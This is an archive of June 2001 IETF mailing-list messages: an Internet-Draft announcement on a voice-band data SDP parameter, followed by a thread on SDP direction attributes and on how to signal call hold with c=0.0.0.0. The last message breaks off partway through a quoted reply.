Received: from NEXUS.replicants.org.uk (pc-62-30-167-16-ca.blueyonder.co.uk [62.30.167.16])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5QHZD229757
	for <confctrl@isi.edu>; Tue, 26 Jun 2001 10:35:15 -0700 (PDT)
Received: from mail pickup service by NEXUS.replicants.org.uk with Microsoft SMTPSVC;
	 Tue, 26 Jun 2001 18:39:08 +0100
X-From_: ietf-123-owner@loki.ietf.org Tue Jun 26 16:11:52 2001
Envelope-to: david@REPLICANTS.FREESERVE.CO.UK
Delivery-date: Tue, 26 Jun 2001 16:11:52 +0100
Received: from [132.151.1.177] (helo=loki.ietf.org)	by imailg2.svr.pol.co.uk with esmtp (Exim 3.13 #0)	id 15EuVL-0003cq-00; Tue, 26 Jun 2001 16:11:51 +0100
Received: (from adm@localhost)	by loki.ietf.org (8.9.1b+Sun/8.9.1) id KAA19958	for ietf-123-outbound.10@ietf.org; Tue, 26 Jun 2001 10:05:02 -0400 (EDT)
Received: from ietf.org (odin.ietf.org [10.27.2.28])	by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id HAA18638	for <all-ietf@loki.ietf.org>; Tue, 26 Jun 2001 07:03:05 -0400 (EDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA27363;	Tue, 26 Jun 2001 07:03:04 -0400 (EDT)
Message-Id: <200106261103.HAA27363@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-foster-mmusic-vbdformat-00.txt
Date: Tue, 26 Jun 2001 07:03:03 -0400
X-OriginalArrivalTime: 26 Jun 2001 17:39:08.0041 (UTC) FILETIME=[E6E74790:01C0FE66]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Voice-Band Data Media Format
	Author(s)	: B. Foster, R. Kumar, F. Andreasen
	Filename	: draft-foster-mmusic-vbdformat-00.txt
	Pages		: 4
	Date		: 25-Jun-01
	
Voice-band data (fax and modem) traffic can often require different 
processing and as such, the ability to specify a different payload 
type when passing this type of traffic is important. This document 
defines a specific 'fmtp' parameter for this purpose.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-foster-mmusic-vbdformat-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-foster-mmusic-vbdformat-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-foster-mmusic-vbdformat-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010625111125.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-foster-mmusic-vbdformat-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-foster-mmusic-vbdformat-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Co

From confctrl-owner  Wed Jun 27 11:59:26 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA14478
	for confctrl-outgoing; Wed, 27 Jun 2001 11:59:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA14473
	for <confctrl@zephyr.isi.edu>; Wed, 27 Jun 2001 11:59:25 -0700 (PDT)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5RIxT227872
	for <confctrl@isi.edu>; Wed, 27 Jun 2001 11:59:29 -0700 (PDT)
Received: from mira-sjc5-1.cisco.com (mira-sjc5-1.cisco.com [171.71.163.15])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f5RIxHx13506
	for <confctrl@isi.edu>; Wed, 27 Jun 2001 11:59:28 -0700 (PDT)
Received: from BFOSTER-W2K.cisco.com (sjc-vpn-tmp54.cisco.com [10.21.64.54])
	by mira-sjc5-1.cisco.com (Mirapoint)
	with ESMTP id AAY71728;
	Wed, 27 Jun 2001 11:59:06 -0700 (PDT)
Message-Id: <4.3.2.7.2.20010627114904.01c22eb8@mira-sjc5-1.cisco.com>
X-Sender: bfoster@mira-sjc5-1.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 27 Jun 2001 11:54:16 -0700
To: confctrl@ISI.EDU
From: Bill Foster <bfoster@cisco.com>
Subject: Voice-band data format parameter
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

draft-foster-mmusic-vbdformat-00.txt was just submitted - essentially 
suggesting an "fmtp" parameter to identify voice-band data traffic. Any 
comments?
-----------------------------
Bill Foster
Phone: (250) 758-9418
Fax:     (781) 998-6492


From confctrl-owner  Thu Jun 28 11:52:40 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA08901
	for confctrl-outgoing; Thu, 28 Jun 2001 11:52:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA08896
	for <confctrl@zephyr.isi.edu>; Thu, 28 Jun 2001 11:52:39 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5SIqh221516
	for <confctrl@ISI.EDU>; Thu, 28 Jun 2001 11:52:43 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f5SIqbN20236;
	Thu, 28 Jun 2001 20:52:37 +0200 (MEST)
Received: from lmf.ericsson.se (racom-bo-19.bo.us.am.ericsson.se [138.85.235.249])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id UAA01131;
	Thu, 28 Jun 2001 20:53:10 +0200 (MET DST)
Message-ID: <3B3B7EF0.6477BA0C@lmf.ericsson.se>
Date: Thu, 28 Jun 2001 22:01:04 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: sip@ietf.org, mmusic <confctrl@ISI.EDU>
Subject: Two SDP issues
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

A couple of SDP issues:

1) I recall that we discussed this issue in an IETF meeting, but I am
not aware of the result of the discussion.

Let's say that user A sends an INVITE with two m lines. One for audio
(PCM codec, for instance) and another for DTMF tones.

The receiver (user B), due to any reason, cannot send DTMF tones, but he
can receive them. Can user B add a=recvonly for that m line to the SDP
that he returns in the 200 OK?


2) If I want to stop receiving media (put a call on hold) I send an SDP
with c=0.0.0.0. However, I can still send media. In which address will I
receive RTCP? Should the other party remember my previous c line on
order to send me RTCP?

Regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Thu Jun 28 12:31:29 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA10983
	for confctrl-outgoing; Thu, 28 Jun 2001 12:31:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA10978
	for <confctrl@zephyr.isi.edu>; Thu, 28 Jun 2001 12:31:28 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5SJVW216337
	for <confctrl@ISI.EDU>; Thu, 28 Jun 2001 12:31:32 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f5SJTt426543;
	Thu, 28 Jun 2001 15:29:55 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-91.cisco.com [161.44.241.91])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id ABP00437 (AUTH pkyzivat);
	Thu, 28 Jun 2001 15:31:23 -0400 (EDT)
Message-ID: <3B3B8502.20C5A087@cisco.com>
Date: Thu, 28 Jun 2001 15:26:58 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
CC: sip@ietf.org, mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Two SDP issues
References: <3B3B7EF0.6477BA0C@lmf.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Interesting questions!

In (2), assume for a moment that your suggestion to remember the
prior c= line for RTCP is adopted. Then what happens if I want to
invite on hold, or accept an invitation on hold? (I believe this
is legal, and I have from time to time seen a call sequence that
did it.)

	Paul Kyzivat
	Cisco Systems

Gonzalo Camarillo wrote:
> 
> Hello,
> 
> A couple of SDP issues:
> 
> 1) I recall that we discussed this issue in an IETF meeting, but I am
> not aware of the result of the discussion.
> 
> Let's say that user A sends an INVITE with two m lines. One for audio
> (PCM codec, for instance) and another for DTMF tones.
> 
> The receiver (user B), due to any reason, cannot send DTMF tones, but he
> can receive them. Can user B add a=recvonly for that m line to the SDP
> that he returns in the 200 OK?
> 
> 2) If I want to stop receiving media (put a call on hold) I send an SDP
> with c=0.0.0.0. However, I can still send media. In which address will I
> receive RTCP? Should the other party remember my previous c line on
> order to send me RTCP?
> 
> Regards,
> 
> Gonzalo
> --
> Gonzalo Camarillo                    Phone :   +1 212 939 71 71
> Columbia University                  Mobile:  +358 40 702 35 35
> 472 Computer Science Building        Fax   :  +358  9 299 30 52
> 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
> New York, NY 10027
> USA                              Gonzalo.Camarillo@ericsson.com
> 
> _______________________________________________
> Sip mailing list  http://www.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip

From confctrl-owner  Fri Jun 29 01:46:56 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id BAA13164
	for confctrl-outgoing; Fri, 29 Jun 2001 01:46:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA13159
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jun 2001 01:46:55 -0700 (PDT)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5T8l0221013
	for <confctrl@ISI.EDU>; Fri, 29 Jun 2001 01:47:00 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id EAA05764;
	Fri, 29 Jun 2001 04:51:02 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <NY1KF0VC>; Fri, 29 Jun 2001 04:46:52 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF0128C7C9@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: RE: [Sip] Two SDP issues
Date: Fri, 29 Jun 2001 04:46:48 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> Sent: Thursday, June 28, 2001 3:01 PM
> To: sip@ietf.org; mmusic
> Subject: [Sip] Two SDP issues
> 
> 
> Hello,
> 
> A couple of SDP issues:
> 
> 1) I recall that we discussed this issue in an IETF meeting, but I am
> not aware of the result of the discussion.
> 
> Let's say that user A sends an INVITE with two m lines. One for audio
> (PCM codec, for instance) and another for DTMF tones.
> 
> The receiver (user B), due to any reason, cannot send DTMF 
> tones, but he
> can receive them. Can user B add a=recvonly for that m line to the SDP
> that he returns in the 200 OK?

Yes. From bis-03:

If an offered media stream is listed as sendrecv (or contains no direction
attribute, in which case it is
sendrecv by default), the corresponding stream in the answer MAY be marked
as sendonly, recvonly, or
sendrecv.


> 
> 
> 2) If I want to stop receiving media (put a call on hold) I 
> send an SDP
> with c=0.0.0.0. However, I can still send media. In which 
> address will I
> receive RTCP? Should the other party remember my previous c line on
> order to send me RTCP?

Now, this is a really good question. Remembering the old IP address is a bad
thing, I think. There may not be one, and you really want each INVITE to
contain the full state for the media streams.

At the moment, the result is that you won't get RTCP or media if you put
someone on hold, even if you are still sending media. This is not
catastrophic, but is not the right thing to do. 

There are a few options:

1. don't worry about this problem
2. define an sdp attribute that indicates the address to receive rtcp
3. define an alternate "hold" mechanism that, instead of setting the
connection IP to 0.0.0.0, simply sets the stream to sendonly and has some
additional attribute to convey "hold"

Maybe there are others. The third approach is sort-of backwards compatible,
but won't work with clients that take explicit actions as a result of
realizing that the stream is on hold.



-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Fri Jun 29 02:36:33 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA15306
	for confctrl-outgoing; Fri, 29 Jun 2001 02:36:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA15301
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jun 2001 02:36:32 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5T9aa227963
	for <confctrl@ISI.EDU>; Fri, 29 Jun 2001 02:36:37 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f5T9aYN15527;
	Fri, 29 Jun 2001 11:36:35 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B52C74.lmf.ericsson.se [131.160.30.7])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id f5T9aY508789;
	Fri, 29 Jun 2001 12:36:34 +0300 (EET DST)
Message-ID: <3B3C4C0C.9B9549B1@lmf.ericsson.se>
Date: Fri, 29 Jun 2001 12:36:12 +0300
From: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Two SDP issues
References: <B65B4F8437968F488A01A940B21982BF0128C7C9@DYN-EXCH-001.dynamicsoft.com>
Content-Type: multipart/mixed;
 boundary="------------5FD0103811D5887269D0AB62"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------5FD0103811D5887269D0AB62
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Hi,

I agree with Jonathan that using a SDP attribute (or use existing ones),
instead of c=0.0.0.0, could be a good idea.

That would solve the RTCP issue, without having to "remember" the old
address. There are also some other issues I can think about:

1. Media security

In this case the old address would also have to be remembered, for the
case when the media is put back again, because the application has to
know if it is a new IP address, or the one that was used before the
media was put back on hold. If it is a new address, a new security
association may have to be established, while the old SA can be used
otherwise.

2. IPv6

Since IPv6 uses different addressing, so we can't use c=0.0.0.0 there.

3. ATM

An ATM bearer doesn't use IP addresses at all, so to be able to put
media on ATM on hold we need to use some other mechanism in any case.


Regards,

Christer Holmberg
Ericsson Finland






Jonathan Rosenberg wrote:
> 
> 
> 
> > -----Original Message-----
> > From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> > Sent: Thursday, June 28, 2001 3:01 PM
> > To: sip@ietf.org; mmusic
> > Subject: [Sip] Two SDP issues
> >
> >
> > Hello,
> >
> > A couple of SDP issues:
> >
> > 1) I recall that we discussed this issue in an IETF meeting, but I am
> > not aware of the result of the discussion.
> >
> > Let's say that user A sends an INVITE with two m lines. One for audio
> > (PCM codec, for instance) and another for DTMF tones.
> >
> > The receiver (user B), due to any reason, cannot send DTMF
> > tones, but he
> > can receive them. Can user B add a=recvonly for that m line to the SDP
> > that he returns in the 200 OK?
> 
> Yes. From bis-03:
> 
> If an offered media stream is listed as sendrecv (or contains no direction
> attribute, in which case it is
> sendrecv by default), the corresponding stream in the answer MAY be marked
> as sendonly, recvonly, or
> sendrecv.
> 
> >
> >
> > 2) If I want to stop receiving media (put a call on hold) I
> > send an SDP
> > with c=0.0.0.0. However, I can still send media. In which
> > address will I
> > receive RTCP? Should the other party remember my previous c line on
> > order to send me RTCP?
> 
> Now, this is a really good question. Remembering the old IP address is a bad
> thing, I think. There may not be one, and you really want each INVITE to
> contain the full state for the media streams.
> 
> At the moment, the result is that you won't get RTCP or media if you put
> someone on hold, even if you are still sending media. This is not
> catastrophic, but is not the right thing to do.
> 
> There are a few options:
> 
> 1. don't worry about this problem
> 2. define an sdp attribute that indicates the address to receive rtcp
> 3. define an alternate "hold" mechanism that, instead of setting the
> connection IP to 0.0.0.0, simply sets the stream to sendonly and has some
> additional attribute to convey "hold"
> 
> Maybe there are others. The third approach is sort-of backwards compatible,
> but won't work with clients that take explicit actions as a result of
> realizing that the stream is on hold.
> 
> -Jonathan R.
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> Sip mailing list  http://www.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
--------------5FD0103811D5887269D0AB62
Content-Type: text/x-vcard; charset=us-ascii;
 name="christer.holmberg.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Christer Holmberg
Content-Disposition: attachment;
 filename="christer.holmberg.vcf"

begin:vcard 
n:Holmberg;Christer
tel;cell:+358-40-5604412
tel;work:+358-9-2992943
x-mozilla-html:FALSE
org:Ericsson;IP Multimedia / Advanced Signalling Research Laboratory
adr:;;;;;;
version:2.1
email;internet:christer.holmberg@lmf.ericsson.se
title:System Designer
fn:Christer Holmberg
end:vcard

--------------5FD0103811D5887269D0AB62--


From confctrl-owner  Fri Jun 29 06:54:12 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA25813
	for confctrl-outgoing; Fri, 29 Jun 2001 06:54:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA25808
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jun 2001 06:54:11 -0700 (PDT)
Received: from pentagon.cisco.com (pentagon.cisco.com [161.44.85.169])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5TDsG215789
	for <confctrl@ISI.EDU>; Fri, 29 Jun 2001 06:54:16 -0700 (PDT)
Received: from cia.cisco.com (mirapoint@cia.cisco.com [161.44.85.200]) by pentagon.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA13051; Fri, 29 Jun 2001 09:54:10 -0400 (EDT)
Received: from MHAMMER-W2K.cisco.com (hrn2-dhcp-161-44-87-82.cisco.com [161.44.87.82])
	by cia.cisco.com (Mirapoint)
	with ESMTP id AJN05708;
	Fri, 29 Jun 2001 09:54:08 -0400 (EDT)
Message-Id: <4.3.2.7.2.20010629095511.00b01330@cia.cisco.com>
X-Sender: mhammer@cia.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 29 Jun 2001 09:56:13 -0400
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
From: Michael Hammer <mhammer@cisco.com>
Subject: RE: [Sip] Two SDP issues
Cc: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
In-Reply-To: <B65B4F8437968F488A01A940B21982BF0128C7C9@DYN-EXCH-001.dyna
 micsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 04:46 AM 6/29/2001 -0400, Jonathan Rosenberg wrote:


>
>
> > -----Original Message-----
> > From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> > Sent: Thursday, June 28, 2001 3:01 PM
> > To: sip@ietf.org; mmusic
> > Subject: [Sip] Two SDP issues
> >
> >
> > Hello,
> >
> > A couple of SDP issues:
> >
> > 1) I recall that we discussed this issue in an IETF meeting, but I am
> > not aware of the result of the discussion.
> >
> > Let's say that user A sends an INVITE with two m lines. One for audio
> > (PCM codec, for instance) and another for DTMF tones.
> >
> > The receiver (user B), due to any reason, cannot send DTMF
> > tones, but he
> > can receive them. Can user B add a=recvonly for that m line to the SDP
> > that he returns in the 200 OK?
>
>Yes. From bis-03:
>
>If an offered media stream is listed as sendrecv (or contains no direction
>attribute, in which case it is
>sendrecv by default), the corresponding stream in the answer MAY be marked
>as sendonly, recvonly, or
>sendrecv.
>
>
> >
> >
> > 2) If I want to stop receiving media (put a call on hold) I
> > send an SDP
> > with c=0.0.0.0. However, I can still send media. In which
> > address will I
> > receive RTCP? Should the other party remember my previous c line on
> > order to send me RTCP?
>
>Now, this is a really good question. Remembering the old IP address is a bad
>thing, I think. There may not be one, and you really want each INVITE to
>contain the full state for the media streams.
>
>At the moment, the result is that you won't get RTCP or media if you put
>someone on hold, even if you are still sending media. This is not
>catastrophic, but is not the right thing to do.
>
>There are a few options:
>
>1. don't worry about this problem
>2. define an sdp attribute that indicates the address to receive rtcp
>3. define an alternate "hold" mechanism that, instead of setting the
>connection IP to 0.0.0.0, simply sets the stream to sendonly and has some
>additional attribute to convey "hold"
>
>Maybe there are others. The third approach is sort-of backwards compatible,
>but won't work with clients that take explicit actions as a result of
>realizing that the stream is on hold.
>

Could you kill two birds with one stone by defining a fourth option to the 
sendonly, receiveonly, sendreceive:  neithersendnorreceive?



>-Jonathan R.
>---
>Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
>Chief Scientist                             First Floor
>dynamicsoft                                 East Hanover, NJ 07936
>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>http://www.jdrosen.net                      PHONE: (973) 952-5000
>http://www.dynamicsoft.com
>
>_______________________________________________
>Sip mailing list  http://www.ietf.org/mailman/listinfo/sip
>This list is for NEW development of the core SIP Protocol
>Use sip-implementors@cs.columbia.edu for questions on current sip
>Use sipping@ietf.org for new developments on the application of sip


From confctrl-owner  Fri Jun 29 07:03:01 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA26227
	for confctrl-outgoing; Fri, 29 Jun 2001 07:03:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA26222
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jun 2001 07:03:00 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5TE35217842
	for <confctrl@ISI.EDU>; Fri, 29 Jun 2001 07:03:05 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f5TE1S427281;
	Fri, 29 Jun 2001 10:01:28 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-91.cisco.com [161.44.241.91])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id ABR00008 (AUTH pkyzivat);
	Fri, 29 Jun 2001 10:02:55 -0400 (EDT)
Message-ID: <3B3C8982.33B81804@cisco.com>
Date: Fri, 29 Jun 2001 09:58:26 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        sip@ietf.org, mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Two SDP issues
References: <B65B4F8437968F488A01A940B21982BF0128C7C9@DYN-EXCH-001.dynamicsoft.com> <3B3C4C0C.9B9549B1@lmf.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Since this seems to be turning into a discussion of problems with the
existing means of representing Hold, let me add one more:

The c=0.0.0.0 mechanism for specifying hold doesn't work right for
connection oriented media (the comedia I-P.) In reality it is another
manifestation of the problem here with RTCP.

Seems to me that if we were in a sendrecv session and I want to put you
on hold I should send SDP containing a:sendonly. If you receive that and
are happy with it then you should return a:recvonly. With some kinds of
transports it may be possible to also specify c=0.0.0.0 in order to free
up my transport resources for some other purpose, but that varies from
case to case.

The situation is a little more complicated if the session is already
oneway and the receiver wants to go on hold. I haven't worked that out
yet.

	Paul Kyzivat
	Cisco Systems

Christer Holmberg wrote:
> 
> Hi,
> 
> I agree with Jonathan that using a SDP attribute (or use existing ones),
> instead of c=0.0.0.0, could be a good idea.
> 
> That would solve the RTCP issue, without having to "remember" the old
> address. There are also some other issues I can think about:
> 
> 1. Media security
> 
> In this case the old address would also have to be remembered, for the
> case when the media is put back again, because the application has to
> know if it is a new IP address, or the one that was used before the
> media was put back on hold. If it is a new address, a new security
> association may have to be established, while the old SA can be used
> otherwise.
> 
> 2. IPv6
> 
> Since IPv6 uses different addressing, so we can't use c=0.0.0.0 there.
> 
> 3. ATM
> 
> An ATM bearer doesn't use IP addresses at all, so to be able to put
> media on ATM on hold we need to use some other mechanism in any case.
> 
> Regards,
> 
> Christer Holmberg
> Ericsson Finland
> 
> Jonathan Rosenberg wrote:
> >
> >
> >
> > > -----Original Message-----
> > > From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> > > Sent: Thursday, June 28, 2001 3:01 PM
> > > To: sip@ietf.org; mmusic
> > > Subject: [Sip] Two SDP issues
> > >
> > >
> > > Hello,
> > >
> > > A couple of SDP issues:
> > >
> > > 1) I recall that we discussed this issue in an IETF meeting, but I am
> > > not aware of the result of the discussion.
> > >
> > > Let's say that user A sends an INVITE with two m lines. One for audio
> > > (PCM codec, for instance) and another for DTMF tones.
> > >
> > > The receiver (user B), due to any reason, cannot send DTMF
> > > tones, but he
> > > can receive them. Can user B add a=recvonly for that m line to the SDP
